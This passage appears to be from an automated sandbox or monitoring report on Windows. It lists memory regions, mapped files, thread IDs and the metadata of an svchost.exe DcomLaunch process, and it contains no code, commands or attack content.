0x0 region_type = mapped_file name = "vedatamodel.edb" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb") Region: id = 7939 start_va = 0x1e434240000 end_va = 0x1e43424ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "vedatamodel.edb" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb") Region: id = 7940 start_va = 0x1e434250000 end_va = 0x1e43425ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "vedatamodel.edb" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb") Region: id = 7941 start_va = 0x1e434260000 end_va = 0x1e43426ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "vedatamodel.edb" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb") Region: id = 7942 start_va = 0x1e434270000 end_va = 0x1e43427ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "vedatamodel.edb" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb") Region: id = 7943 start_va = 0x1e434280000 end_va = 0x1e43428ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "vedatamodel.edb" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb") Region: id = 7944 start_va = 0x1e434290000 end_va = 0x1e43429ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "vedatamodel.edb" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb") Region: id = 7945 start_va = 0x1e4342a0000 end_va = 0x1e4342affff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "vedatamodel.edb" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb") Region: id = 7946 start_va = 0x1e4342b0000 end_va = 0x1e4342bffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "vedatamodel.edb" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb") Region: id = 7947 start_va = 0x1e4342c0000 end_va = 0x1e4342cffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "vedatamodel.edb" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb") Region: id = 7948 start_va = 0x1e4342d0000 end_va = 0x1e4342dffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "vedatamodel.edb" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb") Region: id = 7949 start_va = 0x1e4342e0000 end_va = 0x1e4342effff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "vedatamodel.edb" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb") Region: id = 7950 start_va = 0xa6bf100000 end_va = 0xa6bf17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000a6bf100000" filename = "" Region: id = 7951 start_va = 0x1e4342f0000 end_va = 0x1e4342f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e4342f0000" filename = "" Region: id = 7952 start_va = 0x1e4342f0000 end_va = 0x1e4342f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e4342f0000" filename = "" Region: id = 7953 start_va = 0x1e434840000 end_va = 0x1e434840fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e434840000" filename = "" Region: id = 7954 start_va = 0x1e434850000 end_va = 0x1e43486ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e434850000" filename = "" Region: id = 7962 start_va = 0x1e434870000 end_va = 0x1e43487ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "vedatamodel.edb" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb") Region: id = 7963 start_va = 0x1e434880000 end_va = 0x1e43488ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "vedatamodel.edb" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb") Region: id = 7974 start_va = 0x1e433cf0000 end_va = 0x1e433cf0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e433cf0000" filename = "" Region: id = 7975 start_va = 0x1e433d00000 end_va = 0x1e433d00fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e433d00000" filename = "" Region: id = 7976 start_va = 0x1e433cf0000 end_va = 0x1e433cf0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e433cf0000" filename = "" Region: id = 7977 start_va = 0x1e433d00000 end_va = 0x1e433d00fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e433d00000" filename = "" Region: id = 7978 start_va = 0x1e433cf0000 end_va = 0x1e433cf0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e433cf0000" filename = "" Region: id = 7979 start_va = 0x1e435a00000 end_va = 0x1e435c0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e435a00000" filename = "" Region: id = 7980 start_va = 0x1e433cc0000 end_va = 0x1e433cdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e433cc0000" filename = "" Region: id = 7981 start_va = 0x1e433a80000 end_va = 0x1e433a81fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e433a80000" filename = "" Region: id = 7982 start_va = 0x1e433a80000 end_va = 0x1e433a80fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e433a80000" filename = "" Region: id = 7983 start_va = 0x1e433ca0000 end_va = 0x1e433caffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e433ca0000" filename = "" Region: id = 7984 start_va = 0x1e433ca0000 end_va = 0x1e433ca1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e433ca0000" filename = "" Region: id = 7985 start_va = 0x1e433cb0000 end_va = 0x1e433cb0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e433cb0000" filename = "" Region: id = 7986 start_va = 0x1e433cb0000 end_va = 0x1e433cbffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "vedatamodel.edb" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb") Region: id = 7987 start_va = 0x1e433cf0000 end_va = 0x1e433cfffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "vedatamodel.edb" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb") Region: id = 7988 start_va = 0x1e433d00000 end_va = 0x1e433d0ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "vedatamodel.edb" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb") Region: id = 7989 start_va = 0x1e433d10000 end_va = 0x1e433d1ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "vedatamodel.edb" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb") Region: id = 7990 start_va = 0x1e433d30000 end_va = 0x1e433d3ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "vedatamodel.edb" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb") Region: id = 7991 start_va = 0x1e433d40000 end_va = 0x1e433d4ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "vedatamodel.edb" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb") Region: id = 7992 start_va = 0x1e433d50000 end_va = 0x1e433d5ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "vedatamodel.edb" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb") Region: id = 7993 start_va = 0x1e433d60000 end_va = 0x1e433d6ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "vedatamodel.edb" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb") Region: id = 7994 start_va = 0x1e433d70000 end_va = 0x1e433d7ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "vedatamodel.edb" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb") Region: id = 7995 start_va = 0x1e433d80000 end_va = 0x1e433d8ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "vedatamodel.edb" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb") Region: id = 7996 start_va = 0x1e433d90000 end_va = 0x1e433d9ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "vedatamodel.edb" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb") Region: id = 7997 start_va = 0x1e433da0000 end_va = 0x1e433daffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "vedatamodel.edb" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb") Region: id = 7998 start_va = 0x1e433db0000 end_va = 0x1e433dbffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "vedatamodel.edb" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb") Region: id = 7999 start_va = 0x1e433dc0000 end_va = 0x1e433dcffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "vedatamodel.edb" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb") Region: id = 8000 start_va = 0x1e433dd0000 end_va = 0x1e433ddffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "vedatamodel.edb" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb") Region: id = 8001 start_va = 0x1e433de0000 end_va = 0x1e433deffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "vedatamodel.edb" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb") Region: id = 8002 start_va = 0x1e433df0000 end_va = 0x1e433dfffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "vedatamodel.edb" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb") Region: id = 8003 start_va = 0x1e434220000 end_va = 0x1e43422ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "vedatamodel.edb" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb") Region: id = 8004 start_va = 0x1e434230000 end_va = 0x1e43423ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "vedatamodel.edb" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb") Region: id = 8005 start_va = 0x1e434240000 end_va = 0x1e43424ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "vedatamodel.edb" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb") Region: id = 8006 start_va = 0x1e434250000 end_va = 0x1e43425ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "vedatamodel.edb" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb") Region: id = 8009 start_va = 0x7ffe5af90000 end_va = 0x7ffe5b422fff monitored = 0 entry_point = 0x7ffe5af9f760 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 8014 start_va = 0x1e434260000 end_va = 0x1e434260fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e434260000" filename = "" Region: id = 8015 start_va = 0x1e434270000 end_va = 0x1e434270fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e434270000" filename = "" Region: id = 8033 start_va = 0x1e434260000 end_va = 0x1e43426ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "vedatamodel.edb" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb") Region: id = 8034 start_va = 0x1e434270000 end_va = 0x1e43427ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "vedatamodel.edb" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb") Thread: id = 558 os_tid = 0x158 Thread: id = 559 os_tid = 0x7fc Thread: id = 560 os_tid = 0x7b4 Thread: id = 561 os_tid = 0x7b0 Thread: id = 562 os_tid = 0x7a8 Thread: id = 563 os_tid = 0x778 Thread: id = 564 os_tid = 0x6e8 Thread: id = 565 os_tid = 0x6e4 Thread: id = 593 os_tid = 0x48c Thread: id = 594 os_tid = 0x4d4 Thread: id = 595 os_tid = 0x4c0 Process: id = "92" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x4325000" os_pid = "0x270" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "85" os_parent_pid = "0x210" cmd_line = "C:\\Windows\\system32\\svchost.exe -k DcomLaunch" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BrokerInfrastructure" [0xa], "NT SERVICE\\DcomLaunch" [0xa], "NT SERVICE\\DeviceInstall" [0xa], "NT SERVICE\\LSM" [0xa], "NT SERVICE\\PlugPlay" [0xe], "NT SERVICE\\Power" [0xa], "NT SERVICE\\SystemEventsBroker" [0xa], "NT AUTHORITY\\Logon Session 00000000:00005ca1" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 7745 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 7746 start_va = 0xfb5c200000 end_va = 0xfb5c3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000fb5c200000" filename = "" Region: id = 7747 start_va = 0xfb5c400000 end_va = 0xfb5c47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000fb5c400000" filename = "" Region: id = 7748 start_va = 0xfb5c480000 end_va = 0xfb5c4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000fb5c480000" filename = "" Region: id = 7749 start_va = 0xfb5c700000 end_va = 0xfb5c7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000fb5c700000" filename = "" Region: id = 7750 start_va = 0xfb5c900000 end_va = 0xfb5c97ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000fb5c900000" filename = "" Region: id = 7751 start_va = 0xfb5c980000 end_va = 0xfb5c9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000fb5c980000" filename = "" Region: id = 7752 start_va = 0xfb5ca00000 end_va = 0xfb5ca7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000fb5ca00000" filename = "" Region: id = 7753 start_va = 0xfb5ca80000 end_va = 0xfb5cb7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000fb5ca80000" filename = "" Region: id = 7754 start_va = 0xfb5cb80000 end_va = 0xfb5cc7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000fb5cb80000" filename = "" Region: id = 7755 start_va = 0xfb5ce80000 end_va = 0xfb5cf7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000fb5ce80000" filename = "" Region: id = 7756 start_va = 0xfb5cf80000 end_va = 0xfb5d07ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000fb5cf80000" filename = "" Region: id = 7757 start_va = 0xfb5d180000 end_va = 0xfb5d1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000fb5d180000" filename = "" Region: id = 7758 start_va = 0xfb5d200000 end_va = 0xfb5d2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000fb5d200000" filename = "" Region: id = 7759 start_va = 0xfb5d300000 end_va = 0xfb5d37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000fb5d300000" filename = "" Region: id = 7760 start_va = 0xfb5d380000 end_va = 0xfb5d47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000fb5d380000" filename = "" Region: id = 7761 start_va = 0xfb5d480000 end_va = 0xfb5d57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000fb5d480000" filename = "" Region: id = 7762 start_va = 0xfb5d580000 end_va = 0xfb5d67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000fb5d580000" filename = "" Region: id = 7763 start_va = 0xfb5d680000 end_va = 0xfb5d77ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000fb5d680000" filename = "" Region: id = 7764 start_va = 0xfb5d780000 end_va = 0xfb5d7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000fb5d780000" filename = "" Region: id = 7765 start_va = 0xfb5d800000 end_va = 0xfb5d87ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000fb5d800000" filename = "" Region: id = 7766 start_va = 0x25eb4380000 end_va = 0x25eb438ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000025eb4380000" filename = "" Region: id = 7767 start_va = 0x25eb4390000 end_va = 0x25eb4394fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025eb4390000" filename = "" Region: id = 7768 start_va = 0x25eb43a0000 end_va = 0x25eb43b4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000025eb43a0000" filename = "" Region: id = 7769 start_va = 0x25eb43c0000 end_va = 0x25eb43c3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000025eb43c0000" filename = "" Region: id = 7770 start_va = 0x25eb43d0000 end_va = 0x25eb43d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000025eb43d0000" filename = "" Region: id = 7771 start_va = 0x25eb43e0000 end_va = 0x25eb43e1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025eb43e0000" filename = "" Region: id = 7772 start_va = 0x25eb43f0000 end_va = 0x25eb43f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000025eb43f0000" filename = "" Region: id = 7773 start_va = 0x25eb4400000 end_va = 0x25eb4400fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000025eb4400000" filename = "" Region: id = 7774 start_va = 0x25eb4410000 end_va = 0x25eb4416fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025eb4410000" filename = "" Region: id = 7775 start_va = 0x25eb4420000 end_va = 0x25eb44ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 7776 start_va = 0x25eb44e0000 end_va = 0x25eb44e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000025eb44e0000" filename = "" Region: id = 7777 start_va = 0x25eb44f0000 end_va = 0x25eb44f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025eb44f0000" filename = "" Region: id = 7778 start_va = 0x25eb4500000 end_va = 0x25eb45fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025eb4500000" filename = "" Region: id = 7779 start_va = 0x25eb4600000 end_va = 0x25eb4600fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025eb4600000" filename = "" Region: id = 7780 start_va = 0x25eb4610000 end_va = 0x25eb4610fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000025eb4610000" filename = "" Region: id = 7781 start_va = 0x25eb4620000 end_va = 0x25eb4620fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000025eb4620000" filename = "" Region: id = 7782 start_va = 0x25eb4630000 end_va = 0x25eb4632fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lsm.dll.mui" filename = "\\Windows\\System32\\en-US\\lsm.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\lsm.dll.mui") Region: id = 7783 start_va = 0x25eb4640000 end_va = 0x25eb4640fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 7784 start_va = 0x25eb4650000 end_va = 0x25eb4650fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025eb4650000" filename = "" Region: id = 7785 start_va = 0x25eb4660000 end_va = 0x25eb4660fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025eb4660000" filename = "" Region: id = 7786 start_va = 0x25eb4670000 end_va = 0x25eb4670fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000025eb4670000" filename = "" Region: id = 7787 start_va = 0x25eb4680000 end_va = 0x25eb4686fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025eb4680000" filename = "" Region: id = 7788 start_va = 0x25eb4690000 end_va = 0x25eb4690fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000025eb4690000" filename = "" Region: id = 7789 start_va = 0x25eb46a0000 end_va = 0x25eb46a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000025eb46a0000" filename = "" Region: id = 7790 start_va = 0x25eb46b0000 end_va = 0x25eb46b6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025eb46b0000" filename = "" Region: id = 7791 start_va = 0x25eb46e0000 end_va = 0x25eb46e6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025eb46e0000" filename = "" Region: id = 7792 start_va = 0x25eb4700000 end_va = 0x25eb47fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025eb4700000" filename = "" Region: id = 7793 start_va = 0x25eb4800000 end_va = 0x25eb48fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025eb4800000" filename = "" Region: id = 7794 start_va = 0x25eb4900000 end_va = 0x25eb49fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025eb4900000" filename = "" Region: id = 7795 start_va = 0x25eb4a00000 end_va = 0x25eb4b87fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000025eb4a00000" filename = "" Region: id = 7796 start_va = 0x25eb4bc0000 end_va = 0x25eb4bc6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025eb4bc0000" filename = "" Region: id = 7797 start_va = 0x25eb4c00000 end_va = 0x25eb4cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025eb4c00000" filename = "" Region: id = 7798 start_va = 0x25eb4d00000 end_va = 0x25eb5036fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 7799 start_va = 0x25eb5040000 end_va = 0x25eb50fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000025eb5040000" filename = "" Region: id = 7800 start_va = 0x25eb5100000 end_va = 0x25eb51fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025eb5100000" filename = "" Region: id = 7801 start_va = 0x25eb5200000 end_va = 0x25eb5380fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000025eb5200000" filename = "" Region: id = 7802 start_va = 0x25eb5390000 end_va = 0x25eb548ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025eb5390000" filename = "" Region: id = 7803 start_va = 0x25eb5490000 end_va = 0x25eb556ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 7804 start_va = 0x7df5ffc60000 end_va = 0x7ff5ffc5ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffc60000" filename = "" Region: id = 7805 start_va = 0x7ff766850000 end_va = 0x7ff76694ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff766850000" filename = "" Region: id = 7806 start_va = 0x7ff766950000 end_va = 0x7ff766972fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff766950000" filename = "" Region: id = 7807 start_va = 0x7ff7669a0000 end_va = 0x7ff7669acfff monitored = 0 entry_point = 0x7ff7669a3980 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 7808 start_va = 0x7ffe54a30000 end_va = 0x7ffe54a44fff monitored = 0 entry_point = 